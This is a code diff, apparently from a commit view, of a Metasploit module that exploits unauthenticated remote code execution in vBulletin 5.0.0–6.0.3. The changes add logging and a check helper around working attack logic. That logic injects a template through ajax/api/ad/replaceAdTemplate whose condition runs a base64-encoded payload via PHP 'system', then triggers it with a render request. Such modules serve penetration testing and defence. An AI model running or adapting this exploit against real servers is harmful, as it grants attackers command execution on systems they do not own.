@@ -17,13 +17,13 @@ def initialize(info = {})
1717 'Description' => %q{
1818 This module exploits a design flaw in vBulletin's AJAX API handler and template rendering system,
1919 present in versions 5.0.0 through 6.0.3. The vulnerability allows unauthenticated attackers
20- to invoke protected controller methods via the ` ajax/api/ad/replaceAdTemplate` endpoint,
20+ to invoke protected controller methods via the ajax/api/ad/replaceAdTemplate endpoint,
2121 due to improper use of PHP's Reflection API in combination with changes in PHP 8.1+.
2222
23- Specifically, it targets the ` vB_Api_Ad::replaceAdTemplate()` method to inject a template
24- containing a ` <vb:if>` conditional that evaluates attacker-supplied PHP using the
25- ` "system"($_POST[<param>])` construct. The malicious template is then executed via
26- a second unauthenticated request to ` ajax/render/ad_<location>` .
23+ Specifically, it targets the vB_Api_Ad::replaceAdTemplate() method to inject a template
24+ containing a <vb:if> conditional that evaluates attacker-supplied PHP using the
25+ "system"($_POST[<param>]) construct. The malicious template is then executed via
26+ a second unauthenticated request to ajax/render/ad_<location>.
2727
2828 Successful exploitation results in arbitrary command execution as the webserver user,
2929 without authentication. This module supports payloads for PHP, Linux, and Windows.
@@ -72,7 +72,8 @@ def initialize(info = {})
7272 end
7373
7474 def check
75- inject_and_trigger ( :check ) ? CheckCode ::Appears : CheckCode ::Safe
75+ vprint_status ( "Starting vulnerability check on #{ rhost } :#{ rport } #{ target_uri . path } " )
76+ inject_and_trigger ( :check ) ? CheckCode ::Vulnerable : CheckCode ::Safe
7677 end
7778
7879 def exploit
@@ -83,48 +84,60 @@ def inject_and_trigger(mode, payload: nil)
8384 marker , location , param = Array . new ( 3 ) { Rex ::Text . rand_text_alpha ( 5 , 8 ) }
8485 pattern = /string\( #{ marker . length } \) "#{ marker } "/
8586
87+ vprint_status ( "Generating random marker and condition for mode #{ mode } " )
8688 if mode == :check
8789 condition = %{"var_dump"("#{ marker } ")}
8890 trigger_value = Rex ::Text . encode_base64 ( marker )
8991 else
9092 encoded_payload = Rex ::Text . encode_base64 ( payload )
93+ # Sadly we can't use `eval()` here as it's a language construct and we need a proper function.
9194 condition = %{"system"("base64_decode"("#{ encoded_payload } "))}
9295 end
9396
9497 template = "<vb:if condition='#{ condition } '></vb:if>"
9598
99+ vprint_status ( "Sending POST to ajax/api/ad/replaceAdTemplate (location=#{ location } )" )
96100 inj = send_request_cgi (
97101 'method' => 'POST' ,
98102 'uri' => normalize_uri ( target_uri . path ) ,
99103 'vars_post' => {
100104 'routestring' => 'ajax/api/ad/replaceAdTemplate' ,
101- 'styleid' => '1' ,
105+ 'styleid' => '1' , # Can't randomize this value
102106 'location' => location ,
103107 'template' => template
104108 }
105109 )
106110
107111 if mode == :check
108- return false unless inj &.code == 200
109- return true if inj . body . match? ( pattern )
110- false
111- end
112-
113- render_vars = { 'routestring' => "ajax/render/ad_#{ location } " }
114- render_vars [ param ] = trigger_value if mode == :check
115-
116- render = send_request_cgi (
117- 'method' => 'POST' ,
118- 'uri' => normalize_uri ( target_uri . path ) ,
119- 'vars_post' => render_vars
120- )
112+ return true if handle_check_response ( inj , pattern , 'injection' )
121113
122- if mode == :check
123- return nil unless render &. code == 200
114+ render_vars = { 'routestring' => "ajax/render/ad_ #{ location } " }
115+ render_vars [ param ] = trigger_value
124116
125- return render . body . match? ( pattern )
117+ vprint_status ( "Sending POST to ajax/render/ad_#{ location } to trigger execution" )
118+ render = send_request_cgi (
119+ 'method' => 'POST' ,
120+ 'uri' => normalize_uri ( target_uri . path ) ,
121+ 'vars_post' => render_vars
122+ )
123+ return handle_check_response ( render , pattern , 'trigger' )
126124 end
127125
128126 true
129127 end
128+
129+ def handle_check_response ( response , pattern , stage )
130+ vprint_status ( "#{ stage . capitalize } response: HTTP #{ response &.code } " )
131+ unless response &.code == 200
132+ vprint_error ( "#{ stage . capitalize } request failed (HTTP #{ response &.code || 'nil' } )" )
133+ return false
134+ end
135+ if response . body . match? ( pattern )
136+ vprint_good ( "Marker found in #{ stage } response body" )
137+ true
138+ else
139+ vprint_error ( "Marker not found in #{ stage } response body" )
140+ false
141+ end
142+ end
130143end
0 commit comments